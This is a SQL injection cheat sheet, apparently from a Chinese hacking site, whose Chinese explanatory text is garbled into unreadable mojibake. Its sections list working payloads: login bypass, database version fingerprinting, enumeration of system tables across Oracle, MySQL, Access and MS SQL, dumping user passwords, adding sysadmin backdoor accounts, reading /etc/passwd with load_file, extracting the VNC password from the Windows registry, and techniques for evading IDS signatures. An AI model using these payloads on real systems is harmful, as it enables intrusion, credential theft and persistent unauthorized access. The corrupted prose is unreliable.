SQLע䷭
SQLעߣ zeroday@blacksecurity.org
ߣƯij
1
2©
3ռϢ
4
5ȡ
6ݿʺ
7MYSQLϵͳ
8
9עлȡVNC
10ӱܱʶź
11Char()MYSQLȷƭ
12עӱܱʶź
13ûŵַ
1ֻ80˿ڣǼ϶ԱΪ
õķתվSQLעձվ֮һ
㹥վASP,JSP,PHP,CGI..ȷڷеIJϵͳõĶࡣ
SQLעһͨҳһѯһָƭķܶվ㶼ǴûûemailȡûIJ
ǶʹSQLѯ
2üĽгԡ
- Login:' or 1=1--
- Pass:' or 1=1--
- http://website/index.asp?id=' or 1=1--
ЩǼķ£
- ' having 1=1--
- ' group by userid having 1=1--
- ' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'tablename')--
- ' union select sum(columnname) from tablename--
3ռϢ
- ' or 1 in (select @@version)--
- ' union all select @@version--/*
Щҵϵͳʵ汾
4
Oracleչ
-->SYS.USER_OBJECTS (USEROBJECTS)
-->SYS.USER_VIEWS
-->SYS.USER_TABLES
-->SYS.USER_VIEWS
-->SYS.USER_TAB_COLUMNS
-->SYS.USER_CATALOG
-->SYS.USER_TRIGGERS
-->SYS.ALL_TABLES
-->SYS.TAB
MySQLݿ⣬ C:\WINDOWS>type my.iniõroot
-->mysql.user
-->mysql.host
-->mysql.db
MS access
-->MsysACEs
-->MsysObjects
-->MsysQueries
-->MsysRelationships
MS SQL Server
-->sysobjects
-->syscolumns
-->systypes
-->sysdatabases
5.ȡ
';begin declare @var varchar(8000) set @var=':' select
@var=@var+'+login+'/'+password+' ' from users where login > @var select @var as var into temp end --
' and 1 in (select var from temp)--
' ; drop table temp --
6.ݿʺ
10 MS SQL
exec sp_addlogin 'name' , 'password'
exec sp_addsrvrolemember 'name' , 'sysadmin'ΪݿԱ
MySQL
INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass123'))
Access
CRATE USER name IDENTIFIED BY 'pass123'
Postgres (requires Unix account)
CRATE USER name WITH PASSWORD 'pass123'
Oracle
CRATE USER name IDENTIFIED BY pass123
TEMPORARY TABLESPACE temp
DEFAULT TABLESPACE users;
GRANT CONNECT TO name;
GRANT RESOURCE TO name;
7. MYSQLϵͳ
- ' union select 1,load_file('/etc/passwd'),1,1,1;õload_file()
8.
- ' and 1 in (select @@servername)--
- ' and 1 in (select servername from master.sysservers)--
9עлȡVNC
- '; declare @out binary(8)
- exec master..xp_regread
- @rootkey = 'HKEY_LOCAL_MACHINE',
- @key = 'SOFTWARE\ORL\WinVNC3\Default',/*VNC4·вͬ
- @value_name='password',
- @value = @out output
- select cast (@out as bigint) as x into TEMP--
- ' and 1 in (select cast(x as varchar) from temp)--
10ӱܱʶź
Evading ' OR 1=1 Signature
- ' OR 'unusual' = 'unusual'
- ' OR 'something' = 'some'+'thing'
- ' OR 'text' = N'text'
- ' OR 'something' like 'some%'
- ' OR 2 > 1
- ' OR 'text' > 't'
- ' OR 'whatever' in ('whatever')
- ' OR 2 BETWEEN 1 and 3
11Char()MYSQLȷƭ
ע䣨string = "%"
--> ' or username like char(37);
ע(string="root"):
' union select * from users where login = char(114,111,111,116);
load files in unions (string = "/etc/passwd"):
-->'unionselect 1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
Check for existing files (string = "n.ext"):
-->' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));
12. עӱܱʶź
-->'/**/OR/**/1/**/=/**/1
-->Username:' or 1/*
-->Password:*/=1--
-->UNI/**/ON SEL/**/ECT
-->(Oracle) '; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
-->(MS SQL) '; EXEC ('SEL' + 'ECT US' + 'ER')
13.ûŵַ
--> INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72), 0x64)
ղ
ҳ:
[1]